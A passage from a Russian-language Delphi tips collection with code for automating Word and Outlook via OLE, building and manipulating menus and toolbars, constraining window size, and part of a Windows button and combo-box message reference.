end;
end;
Application.ProcessMessages;
Wordy.visible := false;
MyDocumentsCol := Wordy.Documents;
{Проверяем количество открытых документов и пытаемся вывести диалог выбора шаблона}
If (MyDocumentsCol.Count = 1) or
(StartType = 'New') then
Begin
OpenDialog1 := TOpenDialog.Create(Application);
OpenDialog1.filter := 'Шаблоны Word|*.dot|Документы Word|*.doc';
OpenDialog1.DefaultExt := '*.dot';
OpenDialog1.Title := 'Выберите ваш шаблон';
OpenDialog1.InitialDir := TemplatesDir;
If OpenDialog1.execute then
Begin
Wordy.ScreenUpdating:= false;
MyDocumentsCol := wordy.Documents;
MyDocumentsCol.Add(OpenDialog1.Filename, False);
OpenDialog1.free;
end
Else
begin
OpenDialog1.Free;
Wordy.visible := true;
Wordy := Unassigned;
Basically := Unassigned;
Exit;
end;
end
Else
{закрываем документ}
MyDocument.close(wdDoNotSaveChanges);
{теперь мы имеем или новый документ на основе шаблона, выбранного пользователем
или же его текущий документ}
MyDocument := Wordy.ActiveDocument;
Result := true;
Application.ProcessMessages;
end;
Function InsertPicture(AFileName : String) : Boolean;
var
MyShapes : Variant;
MyRange : variant;
begin
Result := True;
If GetWordUp('Current')then
Try
Begin
MyRange := MyDocument.Goto(wdgotoline, wdgotolast);
MyRange.EndOf(wdParagraph, wdMove);
MyRange.InsertBreak(wdPageBreak);
MyShapes := MyDocument.InlineShapes;
MyShapes.AddPicture(afilename, false, true, MyRange);
end;
Finally
begin
Wordy.ScreenUpdating:= true;
Wordy.visible := true;
Wordy := Unassigned;
Basically := UnAssigned;
Application.ProcessMessages;
end;
end
else
Result := False;
end;
Function InsertContactInfo(MyId : TMyId; MyContId : TMyContId) : Boolean;
var
MyCustomProps : Variant;
begin
{ лично я сначала сохраняю свою визитку в свойствах документа, а только
потом вывожу панели с инструментами для того, чтобы пользователь мог
"установить" принадлежность шаблона или текущего документа.
на мой взгляд здесь есть три достоинства (здесь нет подвохов, уверяю вас):
1. Пользователь может установить свои свойства документа после того,
как функция отработает
2. Другие свойства могут быть установлены в любом месте
того же документа
3. Пользователь может переслать эти свойства в тот же Outlook или с их
помощью найти документ, используя функции расширенного поиска Word}
Result := true;
If GetWordUp('New')then
Try
Begin
MyCustomProps := MyDocument.CustomDocumentProperties;
MyCustomProps.add(cpId, false, msoPropertyTypeString, MyId.Id);
MyCustomProps.add(cpOrganizationName,
false, msoPropertyTypeString, MyId.OrganizationName);
MyCustomProps.add(cpAddress1,
false, msoPropertyTypeString,MyId.Address1);
MyCustomProps.add(cpAddress2, false,
msoPropertyTypeString, MyId.Address2);
MyCustomProps.add(cpCity, false,
msoPropertyTypeString, MyId.City);
MyCustomProps.add(cpStProv, false,
msoPropertyTypeString, MyId.StProv);
MyCustomProps.add(cpCountry,
false, msoPropertyTypeString,MyId.City);
MyCustomProps.add(cpPostal, false,
msoPropertyTypeString, MyId.Country);
MyCustomProps.add(cpAccountId, false,
msoPropertyTypeString, MyId.AccountId);
MyCustomProps.add(cpFullName, false,
msoPropertyTypeString, MyContId.FullName);
MyCustomProps.add(cpSalutation, false,
msoPropertyTypeString, MyContId.Salutation);
MyCustomProps.add(cpTitle, false,
msoPropertyTypeString,MyContId.Title);
If (MyContId.workPhone = Nothing) or
(MycontId.WorkPhone = ASpace) then
MyCustomProps.add(cpPhone, false,
msoPropertyTypeString, MyId.Phone )
else
MyCustomProps.add(cpPhone, false,
msoPropertyTypeString, MyContId.WorkPhone );
If (MyContId.Fax = Nothing) or (MycontId.Fax = ASpace) then
MyCustomProps.add(cpFax, false,
msoPropertyTypeString, MyId.Fax)
else
MyCustomProps.add(cpFax, false,
msoPropertyTypeString,MyContId.Fax);
If (MyContId.EMail = Nothing) or (MycontId.Email = ASpace) then
MyCustomProps.add(cpEmail, false,
msoPropertyTypeString, MyId.Email)
else
MyCustomProps.add(cpEmail, false,
msoPropertyTypeString, MyContId.Email);
MyCustomProps.add(cpFirstName, false,
msoPropertyTypeString,MyContId.FirstName);
MyCustomProps.add( cpLastName, false,
msoPropertyTypeString, MyContId.LastName);
MyDocument.Fields.Update;
end;
Finally
begin
Wordy.ScreenUpdating:= true;
Wordy.visible := true;
Wordy := Unassigned;
Basically := UnAssigned;
Application.ProcessMessages;
end;
end
Else
Result := false;
end;
Function GetOutlookUp(ItemType : Integer): Boolean;
Const
AppointmentItem = 'Calendar';
TaskItem = 'Tasks';
ContactItem = 'Contacts';
JournalItem = 'Journal';
NoteItem = 'Notes';
var
MyFolders : Variant;
MyFolders2 : variant;
MyFolders3 : variant;
MyFolder2 : Variant;
MyFolder3 : variant;
MyUser : Variant;
MyFolderItems : Variant;
MyFolderItems2 : Variant;
MyFolderItems3 : Variant;
MyContact : Variant;
i, i2, i3 : Integer;
MyTree : TCreateCont;
MyTreeData : TTreeData;
RootNode, MyNode, MyNode2 : ttreeNode;
ThisName : String;
Begin
{это действительно безобразие........
В Outlook несколько странно реализована объектная модель,
и такие перлы как folder.folder.folder считаются "верным решением"
для получения доступа к папкам этой великолепной программы.}
{пользователь выбирает папку из дерева папок}
Result := False;
Case ItemType of
olAppointmentItem : ThisName := AppointmentItem;
olContactItem : ThisName := ContactItem;
olTaskItem : ThisName := TaskItem;
olJournalItem : ThisName := JournalItem;
olNoteItem : ThisName := NoteItem;
Else
ThisName := 'Unknown';
End;
try
MyOutlook := CreateOleObject('Outlook.Application');
except
warning('Ole интерфейс','Не могу запустить Outlook.');
Exit;
end;
{это папка верхнего уровня}
MyNameSpace := MyOutlook.GetNamespace('MAPI');
MyFolderItems := MyNameSpace.Folders;
MyTree := TCreateCont.create(Application);
{Действительно неудачно, ведь пользователь может создать что-то другое,
чем папки, предлагаемые по-умолчанию, на которые мы и хотели опереться
в нашей программе, поэтому перемещаемся на нижний уровень в цепочке папок}
MyTree.Caption := 'Выбрана ' + ThisName + ' папка';
With MyTree do
If MyFolderItems.Count > 0 then
For i := 1 to MyFolderItems.Count do begin
MyFolder := MyNameSpace.Folders(i);
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder.EntryId;
RootNode := TreeView1.Items.AddObject(nil, MyFolder.Name, MyTreeData);
MyFolders2 := MyNameSpace.folders(i).Folders;
If MyFolders2.Count > 0 then
for i2 := 1 to MyFolders2.Count do begin
MyFolder2 := MyNameSpace.folders(i).Folders(i2);
If (MyFolder2.DefaultItemType = ItemType)
or (MyFolder2.Name = ThisName) then
Begin
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder2.EntryId;
{вот мы и добрались непосредственно до папок}
MyNode :=
Treeview1.Items.addChildObject(RootNode, MyFolder2.Name, MyTreeData);
MyFolders3 :=
MyNameSpace.folders(i).Folders(i2).Folders;
If MyFolders3.Count > 0 then
for i3 := 1 to MyFolders3.Count do
begin
MyFolder3 := MyNameSpace.folders(i).Folders(i2).Folders(i3);
If (MyFolder3.DefaultItemType = ItemType) then
Begin
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder3.EntryId;
MyNode2 :=
Treeview1.Items.addChildObject(MyNode, MyFolder3.Name, MyTreeData);
end;
end;
end;
end;
end;
If MyTree.TreeView1.Items.Count = 2 then
{есть только корневая папка и папка, определенная мной}
MyFolder :=
MyNameSpace.GetFolderFromID(TTreeData(MyTree.TreeView1.Items[1].Data).ItemId
)
Else
begin
MyTree.Treeview1.FullExpand;
MyTree.ShowModal;
If MyTree.ModalResult = mrOk then
Begin
If MyTree.Treeview1.Selected <> nil then
MyFolder :=
MyNameSpace.GetFolderFromID(TTreeData(MyTree.Treeview1.Selected.Data).ItemId
);
end
else
Begin
MyOutlook := UnAssigned;
For i:= MyTree.Treeview1.Items.Count -1 downto 0 do
TTreeData(MyTree.Treeview1.Items[i].Data).free;
MyTree.release;
exit;
end;
end;
For i:= MyTree.Treeview1.Items.Count -1 downto 0 do
TTreeData(MyTree.Treeview1.Items[i].Data).free;
MyTree.release;
Result := true;
end;
Function MakeOutlookContact(MyId : TMyId; MyContId : TMyContId) : boolean;
var MyContact : Variant;
begin
Result := false;
If not GetOutlookUp(OlContactItem)
then exit;
MyContact := MyFolder.Items.Add(olContactItem);
MyContact.Title := MyContId.Honorific;
MyContact.FirstName := MyContId.FirstName;
MyContact.MiddleName := MycontId.MiddleInit;
MyContact.LastName := MycontId.LastName;
MyContact.Suffix := MyContId.Suffix;
MyContact.CompanyName := MyId.OrganizationName;
MyContact.JobTitle := MyContId.Title;
MyContact.OfficeLocation := MyContId.OfficeLocation;
MyContact.CustomerId := MyId.ID;
MyContact.Account := MyId.AccountId;
MyContact.BusinessAddressStreet := MyId.Address1 + CRLF + MyId.Address2;
MyContact.BusinessAddressCity := MyId.City;
MyContact.BusinessAddressState := MyId.StProv;
MyContact.BusinessAddressPostalCode := MyId.Postal;
MyContact.BusinessAddressCountry := MyId.Country;
If (MyContId.Fax = Nothing) or (MyContId.Fax = ASpace) then
MyContact.BusinessFaxNumber := MyId.Fax
Else
MyContact.BusinessFaxNumber := MyContId.Fax;
If (MyContId.WorkPhone = Nothing) or (MyContId.WorkPhone = ASpace)
then
MyContact.BusinessTelephoneNumber := MyId.Phone
Else
MyContact.BusinessTelephoneNumber := MyContId.WorkPhone;
MyContact.CompanyMainTelephoneNumber := MyId.Phone;
MyContact.HomeFaxNumber := MyContId.HomeFax;
MyContact.HomeTelephoneNumber := MyContId.HomePhone;
MyContact.MobileTelephoneNumber := MyContId.MobilePhone;
MyContact.OtherTelephoneNumber := MyContId.OtherPhone;
MyContact.PagerNumber := MyContId.Pager;
MyContact.Email1Address := MyContId.Email;
MyContact.Email2Address := MyId.Email;
Result := true;
Try MyContact.Save;
Except
Result := false;
end;
MyOutlook := Unassigned;
end;
Function GetThisOutlookItem(AnIndex : Integer) : Variant;
Begin
Result := myFolder.Items(AnIndex);
end;
Function GetOutlookFolderItemCount : Integer;
Var myItems : Variant;
Begin
Try MyItems := MyFolder.Items;
Except
Begin
Result := 0;
exit;
end;
end;
Result := MyItems.Count;
end;
Function FindMyOutlookItem(AFilter : String; var AItem : Variant) :
Boolean;
Begin
{не забудьте предварительно инициализировать AItem значением NIL}
Result := true;
Try
AItem := myFolder.Items.Find(AFilter);
Except
Begin
aItem := MyFolder;
Result := false;
end;
End;
End;
Function FindNextMyOutlookItem(var AItem : Variant) : Boolean;
Begin
Result := true;
Try
AItem := myFolder.Items.FindNext;
Except
Begin
AItem := myFolder;
Result := false;
end;
End;
End;
Function CloseOutlook : Boolean;
begin
Try MyOutlook := Unassigned;
Except
End;
Result := true;
end;
Как использовать весь этот код?
Вот модуль для работы с Контактами программы Outlook.
Строим расширенный список контактов (компонент TExtListView вы можете найти на www.torry.ru).
--------------------------------------------------------------------------------
unit UImpContact;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
UMain, StdCtrls, Buttons, ComCtrls, ExtListView;
type
TFindContact = class(TForm)
ContView1: TExtListView;
SearchBtn: TBitBtn;
CancelBtn: TBitBtn;
procedure SearchBtnClick(Sender: TObject);
procedure CancelBtnClick(Sender: TObject);
procedure ContView1DblClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FindContact: TFindContact;
implementation
Uses USearch;
{$R *.DFM}
procedure TFindContact.SearchBtnClick(Sender: TObject);
begin
If ContView1.Selected <> nil then
ContView1DblClick(nil);
end;
procedure TFindContact.CancelBtnClick(Sender: TObject);
begin
CloseOutlook;
ModalResult := mrCancel;
end;
procedure TFindContact.ContView1DblClick(Sender: TObject);
var MyContact : variant;
begin
If ContView1.Selected <> nil then Begin
MyContact := GetThisOutlookItem(StrToInt(ContView1.Selected.subitems[2]));
With StartForm.MyId do
If Not GetData(MyContact.CustomerId) then begin
InitData;
If MyContact.CustomerId <> '' then
Id := MyContact.CustomerId
Else
Id := MyContact.CompanyName;
If DoesIdExist(Startform.MyId.Id) then begin
Warning('Дескриптор данных', 'Не могу установить уникальный Id' + CRLF
+ 'Отредактируйте CustomerId в Outlook и попытайтесь снова');
CloseOutlook;
ModalResult := mrCancel;
Exit;
end;
OrganizationName := MyContact.CompanyName;
IdType := 1;
AccountId := MyContact.Account;
Address1 := MyContact.BusinessAddressStreet;
City := MyContact.BusinessAddressCity;
StProv := MyContact.BusinessAddressState ;
Postal := MyContact.BusinessAddressPostalCode;
Country := MyContact.BusinessAddressCountry;
Phone := MyContact.CompanyMainTelephoneNumber;
Insert;
end;
With StartForm.MyContId do begin
InitData;
ContIdId := StartForm.MyId.Id;
Honorific := MyContact.Title ;
FirstName := MyContact.FirstName ;
MiddleInit := MyContact.MiddleName ;
LastName := MyContact.LastName ;
Suffix := MyContact.Suffix ;
Fax := MyContact.BusinessFaxNumber ;
WorkPhone := MyContact.BusinessTelephoneNumber;
HomeFax := MyContact.HomeFaxNumber ;
HomePhone := MyContact.HomeTelephoneNumber ;
MobilePhone := MyContact.MobileTelephoneNumber ;
OtherPhone := MyContact.OtherTelephoneNumber ;
Pager := MyContact.PagerNumber ;
Email := MyContact.Email1Address ;
Title := MyContact.JobTitle;
OfficeLocation := MyContact.OfficeLocation ;
Insert;
End;
end;
CloseOutlook;
ModalResult := mrOk;
end;
procedure TFindContact.FormCreate(Sender: TObject);
var MyContact : Variant;
MyCount : Integer;
i : Integer;
AnItem : TListItem;
begin
If not GetOutlookUp(OlContactItem)
then exit;
MyCount := GetOutlookFolderItemCount ;
For i := 1 to MyCount do begin
MyContact := GetThisOutlookItem(i);
AnItem := ContView1.Items.Add;
AnItem.Caption := MyContact.CompanyName;
AnItem.SubItems.add(MyContact.FirstName);
AnItem.Subitems.Add(MyContact.LastName);
AnItem.SubItems.Add(inttostr(i));
End;
end;
procedure TFindContact.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
Action := cafree;
end;
end.
Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic.
NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name :=
'myname.doc');
Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет...
unit InWord;
interface
uses
... ComCtrls; // Delphi3
... OLEAuto; // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
S: String;
begin
S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи
// в var у меня не пошло :(
try // А вдруг где ошибка :)
W:=CreateOleObject('Word.Basic');
// Создаем документ по шаблону MyWordDot
// с указанием пути если он не в папке шаблонов Word
W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
// Отключение фоновой печати (на LJ5L без этого был пустой лист)
W.ToolsOptionsPrint(Background:=0);
// Переходим к закладке Word'a 'Num'
W.EditGoto('Num'); W.Insert(S);
//Сохранение
W.FileSaveAs('C:\MayPath\Reports\MyReport')
W.FilePrint(NumCopies:='2'); // Печать 2-х копий
finally
W.ToolsOptionsPrint(Background:=1);
W:=UnAssigned;
end;
end;
Для добавления в меню картинки можно использовать функцию API Windows SetMenuItemBitmaps(), например, следующим образом:
implementation
var
BMP1, BMP2 : TBitMap;
procedure TForm1.FormCreate(Sender: TObject);
begin
BMP1:=TBitMap.Create;
BMP1.LoadFromFile('c:\images\uncheck.bmp');
BMP2:=TBitMap.Create;
BMP2.LoadFromFile('c:\images\check.bmp');
SetMenuItemBitmaps(File1.Handle, 1, MF_BYPOSITION, BMP1.Handle, BMP2.Handle);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
BMP1.Free;
BMP2.Free;
end;
File1 - это объект класса TMenuItem - пункт меню "File". Значения параметров при вызове функции можно посмотреть в
справочнике по Windows API.
При уничтожении меню освобождения связанных с ним картинок не происходит и их надо уничтожать вручную.
Вторая картинка BMP2 отображается рядом с пунктом меню, когда он выбран (Checked=True).
В примере показано как показать меню и выбрать в нем какой-то пункт, эмулируя нажатие
"быстрой кдавиши" пункта меню. Если у Вашего пункта меню нет "быстрой клавиши"
Вы можете посылать комбинации VK_MENU, VK_LEFT, VK_DOWN, и VK_RETURN,
чтобы программно "путешествовать" по меню.
Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
//Allow button to finish painting in response to the click
Application.ProcessMessages;
{Alt Key Down}
keybd_Event(VK_MENU, 0, 0, 0);
{F Key Down - Drops the menu down}
keybd_Event(ord('F'), 0, 0, 0);
{F Key Up}
keybd_Event(ord('F'), 0, KEYEVENTF_KEYUP, 0);
{Alt Key Up}
keybd_Event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);
{F Key Down}
keybd_Event(ord('S'), 0, 0, 0);
{F Key Up}
keybd_Event(ord('S'), 0, KEYEVENTF_KEYUP, 0);
end;
unit DN_Win;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Menus, StdCtrls,
type
TDNForm = class(TForm)
MainMenu1: TMainMenu;
cm_MainExit: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure cm_MainExitClick(Sender: TObject);
public
BM:TBitmap;
Procedure WMDrawItem(var Msg:TWMDrawItem); message wm_DrawItem;
Procedure WMMeasureItem(var Msg:TWMMeasureItem); message
wm_MeasureItem;
end;
var
DNForm : TDNForm;
implementation
{$R *.DFM}
var
Comm,yMenu : word;
procedure TDNForm.FormCreate(Sender: TObject);
begin
yMenu:=GetSystemMetrics(SM_CYMENU);
comm:=cm_MainExit.Command;
ModifyMenu(MainMenu1.Handle,0,mf_ByPosition or mf_OwnerDraw,comm,'Go');
end;{TDNForm.FormCreate}
procedure TDNForm.cm_MainExitClick(Sender: TObject);
begin
DNForm.Close;
end;{TDNForm.cmExitClick}
Procedure TDNForm.WMMeasureItem(var Msg:TWMMeasureItem);
Begin
with Msg.MeasureItemStruct^ do
if ItemID=comm then begin ItemWidth:=yMenu; Itemheight:=yMenu; end;
End;{WMMeasureItem}
{}
Procedure TDNForm.WMDrawItem(var Msg:TWMDrawItem);
var
MemDC:hDC;
BM:hBitMap;
mtd:longint;
Begin
with Msg.DrawItemStruct^ do
begin
if ItemID=comm then
begin
BM:=LoadBitMap(hInstance,'dver');
MemDC:=CreateCompatibleDC(hDC);
SelectObject(MemDC,BM);
if ItemState=ods_Selected then mtd:=NotSrcCopy else mtd:=SrcCopy;
StretchBlt(hDC,rcItem.left,rcItem.top,yMenu,yMenu,MemDC,0,0,24,23,mtd);
DeleteDC(MemDC);
DeleteObject(BM);
end;
end{with}
End;{TDNForm.WMDrawItem}
end.
var m:TMenuItem;
navidummy:TComponent;
procedure TMyForm.CreatePopUpMM(Sender: TObject);
begin
Navidummy.free;
Navidummy:=TComponent.create(self);
While not NaviT.EOF do begin
m := TMenuItem.create(navidummy);
II:=II+1;
with m do begin
name :='MM'+IntToStr(II);
caption := NaviT.Fieldbyname('MyWHAT').AsString ;
tag := NaviT.Fieldbyname('MyTAG').AsInteger;
visible:=True;
OnClick:= NaviExec ;
end;
MyMenuItem.add(m);
NaviT.Next;
end;
NaviT.Close;
end;
procedure TMyForm.NaviExec(Sender:TObject);
begin
What.text := (Sender as TMenuItem).Caption; { There I get what I want ! }
Key:= (Sender as TMenuItem).Tag ;
end;
1. Разместите на форме TControlBar. (закладка Additional) Установите Align = Client.
2. Разместите TToolBar (закладка Win32) внутри TControlBar.
3. Установите в True свойства Flat и ShowCaptions этого TToolBar.
4. Создайте на TToolBar столько TToolButtons сколько Вам нужно. (щелкнув по TToolBar правой кнопкой и выбрав NewButton)
5. Установите свойство Grouped = True для всех TToolButtons. Это позволит меню выпадать при перемещении курсора между
главными пунктами меню (если меню уже показано).
6. Разместите на фоме TMainMenu и убедитесь, что оно *НЕ присоденено* как меню главной формы. (посмотрите свойство Menu
формы).
7. Создайте все пункты меню (щелкнув по TMainMenu кнопкой и выбрав Menu Designer)
8. Для каждой TToolButton установите ее MenuItem равным соответсвующему пункту TMainMenu.
Если вы хотите, чтобы кнопка или пункт меню выполнял другую функцию при нажатой кнопке shift , вы можете
использовать функцию GetKeyState .
GetKeyState принимает в качестве параметра виртуальный код кнопки и возвращает значение меньше 0, если
кнопка нажата.
Вот пример события OnClick для кнопки:
procedure Form1.Button1Click(Sender: TObject);
begin
if GetKeyState(VK_SHIFT) < 0 then
ShowMessage('Кнопка Shift нажата')
else
ShowMessage('Обычное нажатие кнопки');
end;
Отмечу, что вы можете также использовать параметры VK_CONTROL или VK_MENU для проверки нажатия кнопок
control и alt, соответственно!
Для создания панелей в двумя полосами слева, которые можно двигать друг относительно друга, используют
компонент ControlBar (вкладка Additional), на котором обычно размещают один или несколько ToolBar (вкладка
Win32). Чтобы сделать возможным "вытаскивание" панели из ControlBar нужно написать следующий код:
procedure TForm1.FormCreate(Sender: TObject);
begin
ToolBar1.DockSite := true;
ToolBar1.DragKind := dkDock;
ToolBar1.DragMode := dmAutomatic;
end;
procedure TForm1.ControlBar1DockOver(Sender: TObject;
Source: TDragDockObject; X, Y: Integer; State: TDragState;
var Accept: Boolean);
begin
Accept := (Source.Control is TToolBar);
if Accept then with Source.DockRect do begin
TopLeft := ControlBar1.ClientToScreen(ControlBar1.ClientRect.TopLeft);
Right := Left + Source.Control.Width;
Bottom := Top + Source.Control.Height;
end;
end;
Вы можете убрать метод FormCreate, установив нужные свойства компонента ToolBar1 на стадии разработки при
помощи Object Inspector.
Не помню автора...
Function SelectMenu(winname,item,subitem:string):boolean;
// winname - имя окна, item - имя пункта меню, subitem - имя подпункта
var winhandle,menuhandle,submenuhandle,i,j,res:integer;
itemname,subitemname:pchar;
begin
res:=-1;
winhandle:=FindWindow(nil,pchar(winname));
menuhandle:=getmenu(winhandle);
getmem(itemname,255);
getmem(subitemname,255);
for i:=0 to getmenuitemcount(menuhandle)-1 do
begin
getmenustring(menuhandle,i,itemname,255,MF_BYPOSITION);
if string(itemname)=item then begin
submenuhandle:=getsubmenu(menuhandle,i);
for j:=0 to getmenuitemcount(submenuhandle)-1 do
begin
getmenustring(submenuhandle,j,subitemname,255,MF_BYPOSITION);
if string(subitemname)=subitem then
res:=SendMessage(winhandle,WM_COMMAND,makelong(getmenuitemid(submenuhandle,j),0
),0);
end;
end;
end;
freemem(itemname);
freemem(subitemname);
if res=0 then result:=true else result:=false;
end;
TMenuItem - создание и добавление событий во время работы приложения, как?
...
ppmProgram: TMenuItem;
Private
procedure PopulateMenu(Sender: TObject);
procedure NewShortcutClick(Sender: TObject);
...
procedure TForm1.PopulateMenu(Sender: TObject);
var
ppmAddNewShortcut : TMenuItem;
begin
ppmAddNewShortcut := TMenuItem.Create(Self);
ppmAddNewShortcut.Caption := '&Тест';
ppmAddNewShortcut.OnClick := NewShortcutClick;
ppmProgram.Add(ppmAddNewShortcut);
end;
procedure TForm1.NewShortcutClick(Sender: TObject);
begin
{ Здесь введите код для "Тест" }
end
Вместо этого обрабатывайте сообщение WMGetMinMaxInfo.
private
procedure WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo ); message WM_GETMINMAXINFO;
procedure TCCentre.WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo );
begin
with Message.MinMaxInfo^ do
begin
ptMaxSize.X := 640; {Width when maximized}
ptMaxSize.Y := 96; {Height when maximized}
ptMaxPosition.X := 0; {Left position when maximized}
ptMaxPosition.Y := 0; {Top position when maximized}
ptMinTrackSize.X := 500; {Minimum width}
ptMinTrackSize.Y := 96; {Minimum height}
ptMaxTrackSize.X := 640; {Maximum width}
ptMaxTrackSize.Y := 150; {Maximum height}
end;
Message.Result := 0; {Tell windows you have changed
minmaxinfo} inherited;
end;
Что делает сообщение, какие значения используются для каждого поля сообщения и какие возвpащаемые
значения ожидаются или задаются Windows.
http://www.infocity.kiev.ua/prog/delphi/content/delphi058.shtml
Каждый из pазделов этой главы описывает, что делает сообщение, какие значения используются для каждого поля
сообщения и какие возвpащаемые значения ожидаются или задаются Windows. В конце каждого описания
пpиводятся дополнительные комментаpии. wParam и lParam являются обязательными паpаметpами сообщений
Windows.
bm_GetCheck
Опpеделяет, является ли селективная кнопка или блок пpовеpки помеченным.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если селективная кнопка или блок пpовеpки помечен, возвpащается ненулевое значение.
В пpотивном случае, возвpащается нуль. Для текстовой кнопки всегда возвpащается нуль.
bm_GetState
Опpеделяет состояние оpгана упpавления кнопки пpи нажатии кнопки мыши или клавиши пpобела.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если кнопка является подсвеченной текстовой кнопкой, на кнопке сфокусиpован ввод и
нажата кнопка мыши или клавиша пpобела, или нажата кнопка мыши, когда куpсоp находится в кнопке,
возвpащается ненулевое значение. В пpотивном случае, возвpащается нуль.
bm_SetCheck
Помечает или удаляет отметку из селективной кнопки или блока пpовеpки.
Паpаметpы:
wParam: Для кнопок с двумя состояниями и блоков пpовеpки пpи нулевом значении wParam отметка блока (если
имеется) удаляется, в пpотивном случае - добавляется. Для кнопок с тpемя состояниями пpи нулевом значении
wParam отметка блока (если имеется) и затенение (если есть) удаляются. Если wParam=1, то добавляется отметка.
Если wParam=2, то кнопка затеняется.
lParam: Не используется.
Возвpащаемое значение: Не используется.
bm_SetState
Изменяет состояние кнопки или блока пpовеpки.
Паpаметpы:
wParam: Если wParam = 0, кнопка или блок пpовеpки pисуются ноpмальным обpазом. В случае ненулевого значения
кнопка подсвечивается.
lParam: Не используется.
Возвpащаемое значение: Не используется.
bm_SetStyle
Изменяет стиль кнопки.
Паpаметpы:
wParam: Опpеделяет новый стиль кнопки. См. pаздел "Стили кнопок (bs_)" в главе 1 "Стили и константы Windows".
lParam: В случае нулевого значения кнопка не будет пеpеpисовываться сpазу же. Если значение отлично от нуля и
новый стиль кнопки отличается от текущего стиля, то кнопка будет пеpеpисована.
Возвpащаемое значение: Не используется.
cb_AddString
Добавляет стpоку к блоку списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: lParam является указателем на добавляемую стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс, с котоpым была добавлена стpока;
в пpотивном случае, если не хватает памяти для записи стpоки, возвpащается cb_ErrSpace, а если пpоизошла
ошибка, возвpащается cb_Err.
Комментаpии: Если блок списка комбиниpованного блока не отсоpтиpован, стpока помещается в конец списка.
Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля
cbs_HasString, lParam является 32-битовым значением, котоpое запоминается вместо стpоки, и каждый
добавляемый элемент сpавнивается с дpугими элементами один или несколько pаз чеpез сообщение
wm_CompareItem, посылаемое владельцу комбиниpованного блока.
cb_DeleteString
Удаляет стpоку из блока списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом удаляемого элемента блока списка.
lParam: Не используется.
Возвpащаемое значение: Если wParam является пpавильным индексом, возвpащается количество оставшихся в
списке элементов, в пpотивном случае, возвpащается cb_Err.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля lbs_HasString, то соответствующее 32-битовое значение удаляется и владельцу комбиниpованного блока
посылается сообщение wm_DeleteItem.
cb_Dir
Добавляет к блоку списка комбиниpованного блока каждое имя файла из текущего спpавочника, соответствующее
спицификациям файла и атpибутам файлов DOS.
Паpаметpы:
wParam: Является атpибутом файлов DOS.
lParam: Указатель на стpоку спецификации файла, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успеха возвpащается индекс последнего элемента в pезультиpующем списке; в
пpотивном случае, если не хватает памяти для сохpанения элементов, возвpащается cb_ErrSpace, или, в случае
ошибки, возвpащается cb_Err.
cb_FindString
Находит пеpвый элемент блока списка комбиниpованного блока, соответствующий пpефиксной стpоке.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Указатель на пpефиксную стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успеха возвpащается индекс пеpвого совпадающего элемента, в пpотивном
случае, возвpащается cb_Err.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32-битовым значением в списке.
cb_GetCount
Возвpащает число элементов в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Число элементов в блоке списка.
cb_GetCurSel
Возвpащает индекс текущего выбpанного элемента в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если выбpанного элемента нет, возвpащается cb_Err; в пpотивном случае, возвpащается
индекс текущего выбpанного элемента.
cb_GetEditSel
Возвpащает начальный и конечный индексы выбpанного текста в оpгане упpавления pедактиpованием
комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если комбиниpованный блок не имеет оpгана упpавления pедактиpованием,
возвpащается cb_Err; в пpотивном случае, младшее слово возвpащаемого значения пpедставляет собой индекс
начала, а стаpшее слово - индекс конца.
cb_GetItemData
Возвpащает 32-битовое значение, связанное с элементом в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается соответствующее 32-битовое значение; в
пpотивном случае, возвpащается cb_Err.
cb_GetLBText
Копиpует элемент из блока списка комбиниpованного блока в имеющийся буфеp.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Является указателем на буфеp. Буфеp должен быть достаточно большим для того, чтобы вмещать стpоку и
